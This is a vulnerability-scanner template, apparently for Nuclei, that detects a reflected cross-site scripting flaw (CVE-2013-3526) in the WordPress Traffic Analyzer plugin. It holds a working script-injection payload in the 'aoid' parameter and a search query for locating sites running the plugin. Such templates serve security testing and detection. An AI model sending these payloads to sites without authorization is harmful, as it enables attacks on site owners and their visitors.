id: CVE-2013-3526

info:
  name: WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in js/ta_loaded.js.php in the Traffic Analyzer plugin, possibly 3.3.2 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the aoid parameter."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-3526
    - http://packetstormsecurity.com/files/121167/WordPress-Traffic-Analyzer-Cross-Site-Scripting.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/83311
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-3526
    cwe-id: CWE-79
    epss-score: 0.08185
    epss-percentile: 0.92296
    cpe: cpe:2.3:a:wptrafficanalyzer:trafficanalyzer:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wptrafficanalyzer
    product: trafficanalyzer
    google-query: "inurl:\"/wp-content/plugins/trafficanalyzer\""
  tags: cve2013,cve,packetstorm,wordpress,xss,wp-plugin,wptrafficanalyzer,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/trafficanalyzer/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'traffic analy'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201e9f6716a22ea235237074c16586f1de89f422f37ff1d532b62ce93f18837c4002202d37d77e9fa06b67ac8140ccb7e3fee4d3a09e49118cec89a62b9f1eae7931cd:922c64590222798bb761d5b6d8e72950